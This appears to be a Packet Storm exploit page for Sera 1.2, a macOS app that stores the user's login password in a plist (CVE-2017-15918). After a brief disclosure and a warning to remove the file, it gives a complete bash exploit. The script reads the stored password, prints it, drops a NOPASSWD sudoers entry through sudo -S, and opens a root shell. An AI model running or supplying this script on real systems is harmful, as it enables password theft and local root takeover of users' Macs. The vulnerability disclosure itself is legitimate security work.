exploit the possibilities

Sera 1.2 Local Root / Password Disclosure

Sera 1.2 Local Root / Password Disclosure
Posted Nov 2, 2017
Authored by Mark Wadham

Sera version 1.2 suffers from a password disclosure that can allow for root privilege escalation.

tags | exploit, root
advisories | CVE-2017-15918
MD5 | 4625b7cb42f5e2f2c434c541fa4f6c89

Sera 1.2 Local Root / Password Disclosure

Change Mirror Download
Sera is a free app for mac and iOS that lets you unlock your mac automatically
when your iphone is within a configured proximity.

Unfortunately to facilitate this it stores the users login password in their
home directory at:

~/Library/Preferences/no.ignitum.SeraOSX.plist

This makes root privilege escalation trivial and worse than that even
facilitates dumping the keychain as we can easily obtain the user's login
password. If they are an admin user we can even dump items from the system
keychain.

The author of Sera has said he will shut the project down and make the code
publicly available so no fix is likely to be forthcoming anytime soon.

It is strongly recommended not to use this app and if you have done so in the
past make sure you remove this file that contains your login password.

https://m4.rkw.io/sera_1.2.sh.txt
dbf4f7b64cac8a60a2c7b3ba2a3988b84a148a3f6e31bcb58d4554e5e74d8edf
-------------------------------------------------------------------------
#!/bin/bash

##############################################################
###### sera 1.2 local root privilege escalation exploit ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
##############################################################

sera_pass=`plutil -p ~/Library/Preferences/no.ignitum.SeraOSX.plist |grep '"sera_pass"' |cut -d '"' -f4`

if [ "$sera_pass" == "" ] ; then
echo "Password not found."
exit 1
fi

echo "user's password is: $sera_pass"

user="`whoami`"

echo "$user ALL=(ALL) NOPASSWD:ALL" > /tmp/sera_12_exp

echo "$sera_pass" | sudo -S chown root:wheel /tmp/sera_12_exp 1>/dev/null 2>/dev/null
echo "$sera_pass" | sudo -S mv /tmp/sera_12_exp /etc/sudoers.d/sera_12_exp 1>/dev/null 2>/dev/null

sudo bash -c 'rm -f /etc/sudoers.d/sera_12_exp; /bin/bash'

Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    12 Files
  • 4
    Jul 4th
    1 Files
  • 5
    Jul 5th
    2 Files
  • 6
    Jul 6th
    25 Files
  • 7
    Jul 7th
    35 Files
  • 8
    Jul 8th
    4 Files
  • 9
    Jul 9th
    9 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close